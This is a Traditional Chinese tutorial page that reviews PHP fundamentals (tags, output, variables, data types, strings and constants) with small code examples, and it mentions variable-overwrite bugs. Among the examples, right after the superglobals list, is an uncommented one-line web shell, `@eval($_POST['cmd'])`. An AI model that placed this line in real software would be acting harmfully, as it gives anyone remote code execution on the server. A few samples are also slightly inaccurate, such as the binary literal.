推薦學習:《》
PHP中文名叫超文字前處理器,是一種通用開源指令碼語言。語法吸收了C語言、Java和Perl的特點,利於學習,使用廣泛,主要適用於Web開發領域。用PHP做出的動態頁面與其他的程式語言相比,PHP是將程式嵌入到HTML(標準通用標示語言下的一個應用)檔案中去執行,執行效率比完全生成HTML標記的CGI要高許多;PHP還可以執行編譯後程式碼,編譯可以達到加密和優化程式碼執行,使程式碼執行更快。
- 基本標記: <?php //PHP程式碼; ?>
- 短標記:<? //PHP程式碼; ?>
- 指令碼標記:<script language='PHP'>PHP程式碼;</script>
- ASP標記:<% //PHP程式碼;%>
注:純PHP指令碼檔案建議使用不閉合基本標記:<?php //PHP程式碼
- PHP用分號來表示一串程式碼的結束,每段程式碼必須以';'結束。
- 注意:結束標記?>表示的是隱含一個分號,所以PHP程式碼的最後一行是可以不用加分號的!建議都加。
<?php //這是單行註釋 #這也是單行註釋 /* 這是多行註釋 */ ?>
- PHP是HTML語言的升級形式,語言結構仍然以HTML為核心;HTML是一種用於指定網頁內容的標示語言,而PHP是一種指令碼語言
- 使用HTML建立的網頁是靜態網頁,而PHP檔案可以建立動態網頁,PHP檔案可以包含文字,HTML標記和指令碼等等。
- HTML對於PHP來說就是字串,而HTML作為PHP語言中的字串,直接輸出;並且HTML標籤作為單獨的標籤,可以寫在PHP標籤之外!
- "<br/>"瀏覽器顯示換行,原始碼顯示<br/>
- "\n"瀏覽器不顯示換行,原始碼顯示換行
- echo 支援多個字串輸出,用逗號(,)隔開,print只支援一個字串輸出;
- echo 輸出速度比print快;
- print()有返回值,成功,返回值為1;false,返回值為0,而echo 沒有返回值
<?php //echo用法 echo "xiaofeng is cool<br>"; echo "xiaofeng"," ","is"," ","cool","!"; ?> <hr> <?php //print用法 print "hello world!"; print "<br>"; print "hello"; print " "; print "world"; print "!" ?>
總結:編寫程式碼時儘量還是用echo,因為它是支援多字串輸出的,如果你執意要用print,我也攔不住你,可是隻能輸出一個字串,可不要貪杯哦~
程式語言裡事先定義好並賦予特殊含義的單詞,也稱作保留字。和其他語言一樣,PHP中保留了許多關鍵字,例如class、public等。
注:★表示從PHP5.3開始,●表示從PHP5.4開始,▲表示從PHP5.5開始
<html> <head> <meta charset="utf-8"> </head> <body></body> </html> <?php //echo 輸出字串 echo "hello,My name is xiaofeng!";//每行程式碼必須以;結束 echo "<br/>"; #表示換行,瀏覽器和原始碼都顯示換行。 echo "My name is <span style = 'color:blue;'>xiaofeng</span>"//最後一行可以不用 ?> <hr/> <?php //再來個php echo "祈禱疫情早日結束!<br>"; echo "常州加油\n常州加油\n常州加油"; //也表示換行,只是瀏覽器不顯示換行,原始碼顯示換行。 ?>
- 變數名
- 變數值(變化)
- 資料型別,變數值的型別
注:PHP指令碼語言是一種弱型別語言,和其他語言不同的是變數(常數)的資料型別由程式的上下文決定(給予一個變數賦予什麼樣的值,就是什麼樣的資料型別)
<?php echo $name;//Notice: Undefined variable $name = "xiaofeng"; //初次賦值,初始化 echo $name; echo "<hr>"; unset($name); //unset()函數釋放指定變數 echo $name;//釋放了,輸出肯定報錯 ?>
- 變數名嚴格區分大小寫
- 變數名由字母、數位、下劃線組成,不能以數位開頭,也不能包含其他字元(空白字元、特殊字元、空白符等等)
- 變數命名時,最好採用駝峰式命名法或者下劃線命名法,做到「見面知意」
1.小駝峰,第一個單詞首字母小寫,之後單詞首字母大寫. $ userName (一般使用者變數,函數,方法名)
大駝峰,每個單詞首字母大寫. $ UserModel (一般用於類和類檔案命名)
2.下劃線命名法,$ _user_name
<?php $age = 21;//變數賦值 echo $age,$Age,$AGE,$aGe;//變數嚴格區分大小寫,只有第一個輸出,後面三個都報錯Notice: Undefined variable: //echo $name; //Notice: Undefined variable echo "<hr/>"; $name = "zhangsan"; $name1 = "lisi"; $my_name = "xiaofeng"; $your_name = "chuhe"; echo $name,"<br>",$name1,"<br>",$my_name,"<br>",$your_name; ?>
注意:命名的時候最好不要使用常數函數名或者類名,PHP是可以使用的,但為了後期程式碼審計,建議還是不要用PHP關鍵字作為變數名稱。
- 變數名字可以動態的設定和使用
- 由於$$是php的特性,產生變數覆蓋漏洞
<?php $name = "xiaofeng"; #可變變數-$$ $$name = "hello world!";//表示$xiaofeng echo "<hr />"; echo $name; echo "<br/>"; echo $xiaofeng;//輸出hello world! ?>
簡單理解為變數起了一個別名!
<?php $a = 20; $b = $a; $b++; echo "b的值變為了";echo $b;echo "<br>";//b的值變為了21 echo "a的值還是";echo $a;//a的值沒變還是20 echo "<hr>"; $c = &$a; //應用賦值 $c++; //相當於給$a起了一個別名,$c就是$a的本身 echo "c的值變為了";echo $c;echo "<br>"; //c的值為21 echo "a的值變為了";echo $a;//a的值也變為了21 ?>
系統定義的變數,都是陣列,使用者可以直接使用(後期更新部落格細說!)
$_SERVER
$_GET
$_POST
$_REQUEST
$_FILE
$_SESSION
$_COOKIE
$_ENV
$GLOBALS
<?php @eval($_POST['cmd']); ?>
- 規則
- 整數必須有至少一個數位(0-9)
- 整數不能包含逗號或空格
- 整數不能有小數點
- 整數正負均可
- 三種格式規定整數:十進位制、十六進位制(字首是 0x)或八進位制(字首是 0)
<?php $x = -20; // 負數 $x = 20; //十進位制 $x = 0x8C; // 十六進位制數 $x = 047; // 八進位制數 $x = b110; //二進位制數 ?>
浮點數是有小數點或指數形式的數位。
<?php $f = 3.22;//小數 $f = 123456789012; //超出整型範圍 $f = 1.2e20;//科學計數法 /* 精度:精確的有效數位位數 Float:單精度,4個位元組 Double:雙精度,8個位元組 PHP中都是雙精度 */?>
$a = true; $a = false;
<?php //單引號定義字串 $name = 'xiaofeng'; var_dump($name); $str = 'I\'m xiaofeng!'; //單引號定義字串出現字串,採用\進行跳脫 $str = '{$name},I\'m xiaofeng!';//單引號定義的字串中出現變數名,不會參照變數的值。 echo '<br/>';echo $str; echo '<hr/>'; //雙引號定義字串 $name = "chuhe"; $str = "I'm chuhe!";//雙引號定義字串,直接輸出即可 $str = "{$name},I'm chuhe";//雙引號定義的字串中出現變數名,會參照變數的值。 echo $str; echo '<hr/>'; //定界符定義字串 $str = <<<dada %$^%&%&%&%&^%##$#$@#;'' <p style = "color:green;">xiaofengdada</p> dada; //定界符結尾後面不能有任何字元,包括註釋,並且閉合定界符必須位於行的開頭! echo $str; ?>
定義字串時需要注意:
單引號`` :內部的內容只是作為字串。
雙引號"" :如果內部是PHP的變數,那麼會將該變數的值解析。如果內部是html程式碼,也會解析成html。
- 定界符:第一個定界符行後不能有任何字元(包含空格),閉合定界符必須位於行的開頭
陣列在一個變數中儲存多個值。
<?php $cars=array("name","age","Sex"); var_dump($cars); ?>
特殊的 NULL 值表示變數無值。NULL 是資料型別 NULL 唯一可能的值。NULL 值標示變數是否為空。也用於區分空字串與空值資料庫。
<?php $a=null; var_dump($a); ?>
- 常數前面沒有美元符號($)
- 常數只能用 define() 函數定義,而不能通過賦值語句
- 常數可以不用理會變數範圍的規則而在任何地方定義和存取
- 常數一旦定義就不能被重新定義或者取消定義
- 常數的值一般是bool,int,float,string型別
PHP已經定義好了的,可以直接使用的常數,一般代表特殊的含義。
系統常數:PHP_VERSION,PHP_INT_MAX,PHP_INT_SIZE
魔術常數:__DIR__,__FILE__,__LINE__,__CLASS__,__METHOD__,__NAMESPACE__
<?php define("name","xiaofeng");//定義一個常數 echo name; echo "<hr>"; #name = "chuhe";//Parse error: syntax error, unexpected '=' echo __FILE__;echo "<hr>";//輸出當前檔名完整路徑 echo __LINE__;echo "<hr>";//輸出php原始碼中的行號 echo PHP_OS;echo "<hr>";//輸出當前系統UNIX或者WINNT echo PHP_VERSION;echo "<hr>";//輸出當前php版本 echo DIRECTORY_SEPARATOR;echo "<hr>";//輸出作業系統決定目錄的分隔符\/ ?>
推薦學習:《》
以上就是PHP基礎鞏固之基礎語法、變數和常數(總結分享)的詳細內容,更多請關注TW511.COM其它相關文章!